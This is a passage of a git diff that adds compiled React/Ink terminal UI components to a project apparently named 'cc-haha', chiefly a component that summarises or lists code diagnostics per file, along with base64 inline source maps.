BUSx5QkFBeUI7QUFDaEQsU0FBU0MsTUFBTSxRQUFRLDJCQUEyQjtBQUVsRCxLQUFLQyxLQUFLLEdBQUc7RUFDWEMsUUFBUSxFQUFFUCxZQUFZLEVBQUU7RUFDeEJRLFFBQVEsRUFBRSxFQUFFLElBQUk7QUFDbEIsQ0FBQztBQUVELE9BQU8sU0FBQUMsa0JBQUFDLEVBQUE7RUFBQSxNQUFBQyxDQUFBLEdBQUFDLEVBQUE7RUFBMkI7SUFBQUwsUUFBQTtJQUFBQztFQUFBLElBQUFFLEVBRzFCO0VBQUEsSUFBQUcsRUFBQTtFQUFBLElBQUFGLENBQUEsUUFBQUgsUUFBQTtJQUNOSyxFQUFBLFlBQUFDLFNBQUFDLEtBQUE7TUFBQUMsR0FBQSxFQUNFLFFBQVFELEtBQUs7UUFBQSxLQUNOLFFBQVE7VUFBQTtZQUNYUCxRQUFRLENBQUMsQ0FBQztZQUNWLE1BQUFRLEdBQUE7VUFBSztRQUFBLEtBQ0YsTUFBTTtVQUFBO1lBQ1RiLG9CQUFvQixDQUFDLENBQUMsQ0FBQztVQUFBO01BRTNCO0lBQUMsQ0FDRjtJQUFBUSxDQUFBLE1BQUFILFFBQUE7SUFBQUcsQ0FBQSxNQUFBRSxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBRixDQUFBO0VBQUE7RUFURCxNQUFBRyxRQUFBLEdBQUFELEVBU0M7RUFFRCxNQUFBSSxZQUFBLEdBQXFCQyxLQUVmO0VBQUEsSUFBQUMsRUFBQTtFQUFBLElBQUFDLEVBQUE7RUFBQSxJQUFBVCxDQUFBLFFBQUFVLE1BQUEsQ0FBQUMsR0FBQTtJQVNBSCxFQUFBLElBQUMsSUFBSSxDQUFDLDJKQUlOLEVBSkMsSUFBSSxDQUlFO0lBQ1BDLEVBQUEsSUFBQyxJQUFJLENBQUMseURBQXlELEVBQTlELElBQUksQ0FBaUU7SUFBQVQsQ0FBQSxNQUFBUSxFQUFBO0lBQUFSLENBQUEsTUFBQVMsRUFBQTtFQUFBO0lBQUFELEVBQUEsR0FBQVIsQ0FBQTtJQUFBUyxFQUFBLEdBQUFULENBQUE7RUFBQTtFQUFBLElBQUFZLEVBQUE7RUFBQSxJQUFBWixDQUFBLFFBQUFKLFFBQUE7SUFHbkVnQixFQUFBLEdBQUFoQixRQUFRLENBQUFpQixHQUNILENBQUNDLE1BSUwsQ0FBQyxDQUFBQyxJQUNJLENBQUMsSUFBSSxDQUFDO0lBQUFmLENBQUEsTUFBQUosUUFBQTtJQUFBSSxDQUFBLE1BQUFZLEVBQUE7RUFBQTtJQUFBQSxFQUFBLEdBQUFaLENBQUE7RUFBQTtFQUFBLElBQUFnQixFQUFBO0VBQUEsSUFBQWhCLENBQUEsUUFBQVksRUFBQTtJQWZqQkksRUFBQSxJQUFDLEdBQUcsQ0FBZSxhQUFRLENBQVIsUUFBUSxDQUFNLEdBQUMsQ0FBRCxHQUFDLENBQ2hDLENBQUFSLEVBSU0sQ0FDTixDQUFBQyxFQUFxRSxDQUNyRSxDQUFDLElBQUksQ0FBQyxRQUFRLENBQVIsS0FBTyxDQUFDLENBQUMsU0FDSCxJQUFFLENBQ1gsQ0FBQUcsRUFNVyxDQUNkLEVBVEMsSUFBSSxDQVVQLEVBakJDLEdBQUcsQ0FpQkU7SUFBQVosQ0FBQSxNQUFBWSxFQUFBO0lBQUFaLENBQUEsTUFBQWdCLEVBQUE7RUFBQTtJQUFBQSxFQUFBLEdBQUFoQixDQUFBO0VBQUE7RUFBQSxJQUFBaUIsRUFBQTtFQUFBLElBQUFqQixDQUFBLFFBQUFVLE1BQUEsQ0FBQUMsR0FBQTtJQUdLTSxFQUFBLElBQ1A7TUFBQUMsS0FBQSxFQUFTLHVDQUF1QztNQUFBZCxLQUFBLEVBQVM7SUFBUyxDQUFDLEVBQ25FO01BQUFjLEtBQUEsRUFBUyxNQUFNO01BQUFkLEtBQUEsRUFBUztJQUFPLENBQUMsQ0FDakM7SUFBQUosQ0FBQSxNQUFBaUIsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQWpCLENBQUE7RUFBQTtFQUFBLElBQUFtQixFQUFBO0VBQUEsSUFBQW5CLENBQUEsUUFBQUcsUUFBQTtJQUpIZ0IsRUFBQSxJQUFDLE1BQU0sQ0FDSSxPQUdSLENBSFEsQ0FBQUYsRUFHVCxDQUFDLENBQ1MsUUFBNkMsQ0FBN0MsQ0FBQUcsT0FBQSxJQUFTakIsUUFBUSxDQUFDQyxPQUFLLElBQUksUUFBUSxHQUFHLE1BQU0sRUFBQyxHQUN2RDtJQUFBSixDQUFBLE1BQUFHLFFBQUE7SUFBQUgsQ0FBQSxPQUFBbUIsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQW5CLENBQUE7RUFBQTtFQUFBLElBQUFxQixFQUFBO0VBQUEsSUFBQXJCLENBQUEsU0FBQWdCLEVBQUEsSUFBQWhCLENBQUEsU0FBQW1CLEVBQUE7SUE5QkpFLEVBQUEsSUFBQyxNQUFNLENBQ0MsS0FBdUMsQ0FBdkMsdUNBQXVDLENBQ3ZDLEtBQU8sQ0FBUCxPQUFPLENBQ0hmLFFBQVksQ0FBWkEsYUFBVyxDQUFDLENBRXRCLENBQUFVLEVBaUJLLENBRUwsQ0FBQUcsRUFNQyxDQUNILEVBL0JDLE1BQU0sQ0ErQkU7SUFBQW5CLENBQUEsT0FBQWdCLEVBQUE7SUFBQWhCLENBQUEsT0FBQW1CLEVBQUE7SUFBQW5CLENBQUEsT0FBQXFCLEVBQUE7RUFBQTtJQUFBQSxFQUFBLEdBQUFyQixDQUFBO0VBQUE7RUFBQSxPQS9CVHFCLEVBK0JTO0FBQUE7QUFuRE4sU0FBQVAsT0FBQVEsQ0FBQTtFQUFBLE9Bb0NPQSxDQUFDLENBQUFDLElBQUssS0FBSyxRQUVXLEdBRnRCLFVBQ2NELENBQUMsQ0FBQUUsSUFBSyxJQUFJRixDQUFDLENBQUFHLFdBQVksRUFDZixHQUZ0QixVQUVjSCxDQUFDLENBQUFFLElBQUssRUFBRTtBQUFBO0FBdEM3QixTQUFBakIsTUFBQTtFQWdCSGYsb0JBQW9CLENBQUMsQ0FBQyxDQUFDO0FBQUEiLCJpZ25vcmVMaXN0IjpbXX0=
\ No newline at end of file
diff --git a/cc-haha/src/components/DiagnosticsDisplay.tsx b/cc-haha/src/components/DiagnosticsDisplay.tsx
new file mode 100644
index 0000000..6eb3ad8
--- /dev/null
+++ b/cc-haha/src/components/DiagnosticsDisplay.tsx
@@ -0,0 +1,95 @@
+import { c as _c } from "react/compiler-runtime";
+import { relative } from 'path';
+import React from 'react';
+import { Box, Text } from '../ink.js';
+import { DiagnosticTrackingService } from '../services/diagnosticTracking.js';
+import type { Attachment } from '../utils/attachments.js';
+import { getCwd } from '../utils/cwd.js';
+import { CtrlOToExpand } from './CtrlOToExpand.js';
+import { MessageResponse } from './MessageResponse.js';
+type DiagnosticsAttachment = Extract<Attachment, {
+  type: 'diagnostics';
+}>;
+type DiagnosticsDisplayProps = {
+  attachment: DiagnosticsAttachment;
+  verbose: boolean;
+};
+export function DiagnosticsDisplay(t0) {
+  const $ = _c(14);
+  const {
+    attachment,
+    verbose
+  } = t0;
+  if (attachment.files.length === 0) {
+    return null;
+  }
+  let t1;
+  if ($[0] !== attachment.files) {
+    t1 = attachment.files.reduce(_temp, 0);
+    $[0] = attachment.files;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const totalIssues = t1;
+  const fileCount = attachment.files.length;
+  if (verbose) {
+    let t2;
+    if ($[2] !== attachment.files) {
+      t2 = attachment.files.map(_temp3);
+      $[2] = attachment.files;
+      $[3] = t2;
+    } else {
+      t2 = $[3];
+    }
+    let t3;
+    if ($[4] !== t2) {
+      t3 = <Box flexDirection="column">{t2}</Box>;
+      $[4] = t2;
+      $[5] = t3;
+    } else {
+      t3 = $[5];
+    }
+    return t3;
+  } else {
+    let t2;
+    if ($[6] !== totalIssues) {
+      t2 = <Text bold={true}>{totalIssues}</Text>;
+      $[6] = totalIssues;
+      $[7] = t2;
+    } else {
+      t2 = $[7];
+    }
+    const t3 = totalIssues === 1 ? "issue" : "issues";
+    const t4 = fileCount === 1 ? "file" : "files";
+    let t5;
+    if ($[8] === Symbol.for("react.memo_cache_sentinel")) {
+      t5 = <CtrlOToExpand />;
+      $[8] = t5;
+    } else {
+      t5 = $[8];
+    }
+    let t6;
+    if ($[9] !== fileCount || $[10] !== t2 || $[11] !== t3 || $[12] !== t4) {
+      t6 = <MessageResponse><Text dimColor={true} wrap="wrap">Found {t2} new diagnostic{" "}{t3} in {fileCount}{" "}{t4} {t5}</Text></MessageResponse>;
+      $[9] = fileCount;
+      $[10] = t2;
+      $[11] = t3;
+      $[12] = t4;
+      $[13] = t6;
+    } else {
+      t6 = $[13];
+    }
+    return t6;
+  }
+}
+function _temp3(file_0, fileIndex) {
+  return <React.Fragment key={fileIndex}><MessageResponse><Text dimColor={true} wrap="wrap"><Text bold={true}>{relative(getCwd(), file_0.uri.replace("file://", "").replace("_claude_fs_right:", ""))}</Text>{" "}<Text dimColor={true}>{file_0.uri.startsWith("file://") ? "(file://)" : file_0.uri.startsWith("_claude_fs_right:") ? "(claude_fs_right)" : `(${file_0.uri.split(":")[0]})`}</Text>:</Text></MessageResponse>{file_0.diagnostics.map(_temp2)}</React.Fragment>;
+}
+function _temp2(diagnostic, diagIndex) {
+  return <MessageResponse key={diagIndex}><Text dimColor={true} wrap="wrap">{"  "}{DiagnosticTrackingService.getSeveritySymbol(diagnostic.severity)}{" [Line "}{diagnostic.range.start.line + 1}:{diagnostic.range.start.character + 1}{"] "}{diagnostic.message}{diagnostic.code ? ` [${diagnostic.code}]` : ""}{diagnostic.source ? ` (${diagnostic.source})` : ""}</Text></MessageResponse>;
+}
+function _temp(sum, file) {
+  return sum + file.diagnostics.length;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJyZWxhdGl2ZSIsIlJlYWN0IiwiQm94IiwiVGV4dCIsIkRpYWdub3N0aWNUcmFja2luZ1NlcnZpY2UiLCJBdHRhY2htZW50IiwiZ2V0Q3dkIiwiQ3RybE9Ub0V4cGFuZCIsIk1lc3NhZ2VSZXNwb25zZSIsIkRpYWdub3N0aWNzQXR0YWNobWVudCIsIkV4dHJhY3QiLCJ0eXBlIiwiRGlhZ25vc3RpY3NEaXNwbGF5UHJvcHMiLCJhdHRhY2htZW50IiwidmVyYm9zZSIsIkRpYWdub3N0aWNzRGlzcGxheSIsInQwIiwiJCIsIl9jIiwiZmlsZXMiLCJsZW5ndGgiLCJ0MSIsInJlZHVjZSIsIl90ZW1wIiwidG90YWxJc3N1ZXMiLCJmaWxlQ291bnQiLCJ0MiIsIm1hcCIsIl90ZW1wMyIsInQzIiwidDQiLCJ0NSIsIlN5bWJvbCIsImZvciIsInQ2IiwiZmlsZV8wIiwiZmlsZUluZGV4IiwiZmlsZSIsInVyaSIsInJlcGxhY2UiLCJzdGFydHNXaXRoIiwic3BsaXQiLCJkaWFnbm9zdGljcyIsIl90ZW1wMiIsImRpYWdub3N0aWMiLCJkaWFnSW5kZXgiLCJnZXRTZXZlcml0eVN5bWJvbCIsInNldmVyaXR5IiwicmFuZ2UiLCJzdGFydCIsImxpbmUiLCJjaGFyYWN0ZXIiLCJtZXNzYWdlIiwiY29kZSIsInNvdXJjZSIsInN1bSJdLCJzb3VyY2VzIjpbIkRpYWdub3N0aWNzRGlzcGxheS50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IHsgcmVsYXRpdmUgfSBmcm9tICdwYXRoJ1xuaW1wb3J0IFJlYWN0IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgQm94LCBUZXh0IH0gZnJvbSAnLi4vaW5rLmpzJ1xuaW1wb3J0IHsgRGlhZ25vc3RpY1RyYWNraW5nU2VydmljZSB9IGZyb20gJy4uL3NlcnZpY2VzL2RpYWdub3N0aWNUcmFja2luZy5qcydcbmltcG9ydCB0eXBlIHsgQXR0YWNobWVudCB9IGZyb20gJy4uL3V0aWxzL2F0dGFjaG1lbnRzLmpzJ1xuaW1wb3J0IHsgZ2V0Q3dkIH0gZnJvbSAnLi4vdXRpbHMvY3dkLmpzJ1xuaW1wb3J0IHsgQ3RybE9Ub0V4cGFuZCB9IGZyb20gJy4vQ3RybE9Ub0V4cGFuZC5qcydcbmltcG9ydCB7IE1lc3NhZ2VSZXNwb25zZSB9IGZyb20gJy4vTWVzc2FnZVJlc3BvbnNlLmpzJ1xuXG50eXBlIERpYWdub3N0aWNzQXR0YWNobWVudCA9IEV4dHJhY3Q8QXR0YWNobWVudCwgeyB0eXBlOiAnZGlhZ25vc3RpY3MnIH0+XG5cbnR5cGUgRGlhZ25vc3RpY3NEaXNwbGF5UHJvcHMgPSB7XG4gIGF0dGFjaG1lbnQ6IERpYWdub3N0aWNzQXR0YWNobWVudFxuICB2ZXJib3NlOiBib29sZWFuXG59XG5cbmV4cG9ydCBmdW5jdGlvbiBEaWFnbm9zdGljc0Rpc3BsYXkoe1xuICBhdHRhY2htZW50LFxuICB2ZXJib3NlLFxufTogRGlhZ25vc3RpY3NEaXNwbGF5UHJvcHMpOiBSZWFjdC5SZWFjdE5vZGUge1xuICAvLyBPbmx5IHNob3cgaWYgdGhlcmUgYXJlIGRpYWdub3N0aWNzIHRvIHJlcG9ydFxuICBpZiAoYXR0YWNobWVudC5maWxlcy5sZW5ndGggPT09IDApIHJldHVybiBudWxsXG5cbiAgLy8gQ291bnQgdG90YWwgaXNzdWVzXG4gIGNvbnN0IHRvdGFsSXNzdWVzID0gYXR0YWNobWVudC5maWxlcy5yZWR1Y2UoXG4gICAgKHN1bSwgZmlsZSkgPT4gc3VtICsgZmlsZS5kaWFnbm9zdGljcy5sZW5ndGgsXG4gICAgMCxcbiAgKVxuXG4gIGNvbnN0IGZpbGVDb3VudCA9IGF0dGFjaG1lbnQuZmlsZXMubGVuZ3RoXG5cbiAgaWYgKHZlcmJvc2UpIHtcbiAgICAvLyBTaG93IGFsbCBkaWFnbm9zdGljcyBpbiB2ZXJib3NlIG1vZGUgKGN0cmwrbylcbiAgICByZXR1cm4gKFxuICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCI+XG4gICAgICAgIHthdHRhY2htZW50LmZpbGVzLm1hcCgoZmlsZSwgZmlsZUluZGV4KSA9PiAoXG4gICAgICAgICAgPFJlYWN0LkZyYWdtZW50IGtleT17ZmlsZUluZGV4fT5cbiAgICAgICAgICAgIDxNZXNzYWdlUmVzcG9uc2U+XG4gICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yIHdyYXA9XCJ3cmFwXCI+XG4gICAgICAgICAgICAgICAgPFRleHQgYm9sZD5cbiAgICAgICAgICAgICAgICAgIHtyZWxhdGl2ZShcbiAgICAgICAgICAgICAgICAgICAgZ2V0Q3dkKCksXG4gICAgICAgICAgICAgICAgICAgIGZpbGUudXJpXG4gICAgICAgICAgICAgICAgICAgICAgLnJlcGxhY2UoJ2ZpbGU6Ly8nLCAnJylcbiAgICAgICAgICAgICAgICAgICAgICAucmVwbGFjZSgnX2NsYXVkZV9mc19yaWdodDonLCAnJyksXG4gICAgICAgICAgICAgICAgICApfVxuICAgICAgICAgICAgICAgIDwvVGV4dD57JyAnfVxuICAgICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPlxuICAgICAgICAgICAgICAgICAge2ZpbGUudXJpLnN0YXJ0c1dpdGgoJ2ZpbGU6Ly8nKVxuICAgICAgICAgICAgICAgICAgICA/ICcoZmlsZTovLyknXG4gICAgICAgICAgICAgICAgICAgIDogZmlsZS51cmkuc3RhcnRzV2l0aCgnX2NsYXVkZV9mc19yaWdodDonKVxuICAgICAgICAgICAgICAgICAgICAgID8gJyhjbGF1ZGVfZnNfcmlnaHQpJ1xuICAgICAgICAgICAgICAgICAgICAgIDogYCgke2ZpbGUudXJpLnNwbGl0KCc6JylbMF19KWB9XG4gICAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgICAgIDpcbiAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgPC9NZXNzYWdlUmVzcG9uc2U+XG4gICAgICAgICAgICB7ZmlsZS5kaWFnbm9zdGljcy5tYXAoKGRpYWdub3N0aWMsIGRpYWdJbmRleCkgPT4gKFxuICAgICAgICAgICAgICA8TWVzc2FnZVJlc3BvbnNlIGtleT17ZGlhZ0luZGV4fT5cbiAgICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvciB3cmFwPVwid3JhcFwiPlxuICAgICAgICAgICAgICAgICAgeycgICd9XG4gICAgICAgICAgICAgICAgICB7RGlhZ25vc3RpY1RyYWNraW5nU2VydmljZS5nZXRTZXZlcml0eVN5bWJvbChcbiAgICAgICAgICAgICAgICAgICAgZGlhZ25vc3RpYy5zZXZlcml0eSxcbiAgICAgICAgICAgICAgICAgICl9XG4gICAgICAgICAgICAgICAgICB7JyBbTGluZSAnfVxuICAgICAgICAgICAgICAgICAge2RpYWdub3N0aWMucmFuZ2Uuc3RhcnQubGluZSArIDF9OlxuICAgICAgICAgICAgICAgICAge2RpYWdub3N0aWMucmFuZ2Uuc3RhcnQuY2hhcmFjdGVyICsgMX1cbiAgICAgICAgICAgICAgICAgIHsnXSAnfVxuICAgICAgICAgICAgICAgICAge2RpYWdub3N0aWMubWVzc2FnZX1cbiAgICAgICAgICAgICAgICAgIHtkaWFnbm9zdGljLmNvZGUgPyBgIFske2RpYWdub3N0aWMuY29kZX1dYCA6ICcnfVxuICAgICAgICAgICAgICAgICAge2RpYWdub3N0aWMuc291cmNlID8gYCAoJHtkaWFnbm9zdGljLnNvdXJjZX0pYCA6ICcnfVxuICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgPC9NZXNzYWdlUmVzcG9uc2U+XG4gICAgICAgICAgICApKX1cbiAgICAgICAgICA8L1JlYWN0LkZyYWdtZW50PlxuICAgICAgICApKX1cbiAgICAgIDwvQm94PlxuICAgIClcbiAgfSBlbHNlIHtcbiAgICAvLyBTaG93IHN1bW1hcnkgaW4gbm9ybWFsIG1vZGVcbiAgICByZXR1cm4gKFxuICAgICAgPE1lc3NhZ2VSZXNwb25zZT5cbiAgICAgICAgPFRleHQgZGltQ29sb3Igd3JhcD1cIndyYXBcIj5cbiAgICAgICAgICBGb3VuZCA8VGV4dCBib2xkPnt0b3RhbElzc3Vlc308L1RleHQ+IG5ldyBkaWFnbm9zdGljeycgJ31cbiAgICAgICAgICB7dG90YWxJc3N1ZXMgPT09IDEgPyAnaXNzdWUnIDogJ2lzc3Vlcyd9IGluIHtmaWxlQ291bnR9eycgJ31cbiAgICAgICAgICB7ZmlsZUNvdW50ID09PSAxID8gJ2ZpbGUnIDogJ2ZpbGVzJ30gPEN0cmxPVG9FeHBhbmQgLz5cbiAgICAgICAgPC9UZXh0PlxuICAgICAgPC9NZXNzYWdlUmVzcG9uc2U+XG4gICAgKVxuICB9XG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxTQUFTQSxRQUFRLFFBQVEsTUFBTTtBQUMvQixPQUFPQyxLQUFLLE1BQU0sT0FBTztBQUN6QixTQUFTQyxHQUFHLEVBQUVDLElBQUksUUFBUSxXQUFXO0FBQ3JDLFNBQVNDLHlCQUF5QixRQUFRLG1DQUFtQztBQUM3RSxjQUFjQyxVQUFVLFFBQVEseUJBQXlCO0FBQ3pELFNBQVNDLE1BQU0sUUFBUSxpQkFBaUI7QUFDeEMsU0FBU0MsYUFBYSxRQUFRLG9CQUFvQjtBQUNsRCxTQUFTQyxlQUFlLFFBQVEsc0JBQXNCO0FBRXRELEtBQUtDLHFCQUFxQixHQUFHQyxPQUFPLENBQUNMLFVBQVUsRUFBRTtFQUFFTSxJQUFJLEVBQUUsYUFBYTtBQUFDLENBQUMsQ0FBQztBQUV6RSxLQUFLQyx1QkFBdUIsR0FBRztFQUM3QkMsVUFBVSxFQUFFSixxQkFBcUI7RUFDakNLLE9BQU8sRUFBRSxPQUFPO0FBQ2xCLENBQUM7QUFFRCxPQUFPLFNBQUFDLG1CQUFBQyxFQUFBO0VBQUEsTUFBQUMsQ0FBQSxHQUFBQyxFQUFBO0VBQTRCO0lBQUFMLFVBQUE7SUFBQUM7RUFBQSxJQUFBRSxFQUdUO0VBRXhCLElBQUlILFVBQVUsQ0FBQU0sS0FBTSxDQUFBQyxNQUFPLEtBQUssQ0FBQztJQUFBLE9BQVMsSUFBSTtFQUFBO0VBQUEsSUFBQUMsRUFBQTtFQUFBLElBQUFKLENBQUEsUUFBQUosVUFBQSxDQUFBTSxLQUFBO0lBRzFCRSxFQUFBLEdBQUFSLFVBQVUsQ0FBQU0sS0FBTSxDQUFBRyxNQUFPLENBQ3pDQyxLQUE0QyxFQUM1QyxDQUNGLENBQUM7SUFBQU4sQ0FBQSxNQUFBSixVQUFBLENB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QUNSK0IsTUFBSSxDQUFBQyxHQUFJLENBQUFDLE9BQ0UsQ0FBQyxTQUFTLEVBQUUsRUFBRSxDQUFDLENBQUFBLE9BQ2YsQ0FBQyxtQkFBbUIsRUFBRSxFQUFFLENBQ3BDLEVBQ0YsRUFQQyxJQUFJLENBT0csSUFBRSxDQUNWLENBQUMsSUFBSSxDQUFDLFFBQVEsQ0FBUixLQUFPLENBQUMsQ0FDWCxDQUFBRixNQUFJLENBQUFDLEdBQUksQ0FBQUUsVUFBVyxDQUFDLFNBSWEsQ0FBQyxHQUpsQyxXQUlrQyxHQUYvQkgsTUFBSSxDQUFBQyxHQUFJLENBQUFFLFVBQVcsQ0FBQyxtQkFFVSxDQUFDLEdBRi9CLG1CQUUrQixHQUYvQixJQUVNSCxNQUFJLENBQUFDLEdBQUksQ0FBQUcsS0FBTSxDQUFDLEdBQUcsQ0FBQyxHQUFHLEdBQUUsQ0FDcEMsRUFOQyxJQUFJLENBTUUsQ0FFVCxFQWpCQyxJQUFJLENBa0JQLEVBbkJDLGVBQWUsQ0FvQmYsQ0FBQUosTUFBSSxDQUFBSyxXQUFZLENBQUFmLEdBQUksQ0FBQ2dCLE1BZ0JyQixFQUNILGlCQUFpQjtBQUFBO0FBMURwQixTQUFBQSxPQUFBQyxVQUFBLEVBQUFDLFNBQUE7RUFBQSxPQTBDTyxDQUFDLGVBQWUsQ0FBTUEsR0FBUyxDQUFUQSxVQUFRLENBQUMsQ0FDN0IsQ0FBQyxJQUFJLENBQUMsUUFBUSxDQUFSLEtBQU8sQ0FBQyxDQUFNLElBQU0sQ0FBTixNQUFNLENBQ3ZCLEtBQUcsQ0FDSCxDQUFBekMseUJBQXlCLENBQUEwQyxpQkFBa0IsQ0FDMUNGLFVBQVUsQ0FBQUcsUUFDWixFQUNDLFVBQVEsQ0FDUixDQUFBSCxVQUFVLENBQUFJLEtBQU0sQ0FBQUMsS0FBTSxDQUFBQyxJQUFLLEdBQUcsRUFBRSxDQUNoQyxDQUFBTixVQUFVLENBQUFJLEtBQU0sQ0FBQUMsS0FBTSxDQUFBRSxTQUFVLEdBQUcsRUFDbkMsS0FBRyxDQUNILENBQUFQLFVBQVUsQ0FBQVEsT0FBTyxDQUNqQixDQUFBUixVQUFVLENBQUFTLElBQW9DLEdBQTlDLEtBQXVCVCxVQUFVLENBQUFTLElBQUssR0FBUSxHQUE5QyxFQUE2QyxDQUM3QyxDQUFBVCxVQUFVLENBQUFVLE1BQXdDLEdBQWxELEtBQXlCVixVQUFVLENBQUFVLE1BQU8sR0FBUSxHQUFsRCxFQUFpRCxDQUNwRCxFQVpDLElBQUksQ0FhUCxFQWRDLGVBQWUsQ0FjRTtBQUFBO0FBeER6QixTQUFBL0IsTUFBQWdDLEdBQUEsRUFBQWxCLElBQUE7RUFBQSxPQVNZa0IsR0FBRyxHQUFHbEIsSUFBSSxDQUFBSyxXQUFZLENBQUF0QixNQUFPO0FBQUEiLCJpZ25vcmVMaXN0IjpbXX0=
\ No newline at end of file
diff --git a/cc-haha/src/components/FileEditToolUpdatedMessage.tsx b/cc-haha/src/components/FileEditToolUpdatedMessage.tsx
new file mode 100644
index 0000000..909889a
--- /dev/null
+++ b/cc-haha/src/components/FileEditToolUpdatedMessage.tsx
@@ -0,0 +1,124 @@
+import { c as _c } from "react/compiler-runtime";
+import type { StructuredPatchHunk } from 'diff';
+import * as React from 'react';
+import { useTerminalSize } from '../hooks/useTerminalSize.js';
+import { Box, Text } from '../ink.js';
+import { count } from '../utils/array.js';
+import { MessageResponse } from './MessageResponse.js';
+import { StructuredDiffList } from './StructuredDiffList.js';
+type Props = {
+  filePath: string;
+  structuredPatch: StructuredPatchHunk[];
+  firstLine: string | null;
+  fileContent?: string;
+  style?: 'condensed';
+  verbose: boolean;
+  previewHint?: string;
+};
+export function FileEditToolUpdatedMessage(t0) {
+  const $ = _c(22);
+  const {
+    filePath,
+    structuredPatch,
+    firstLine,
+    fileContent,
+    style,
+    verbose,
+    previewHint
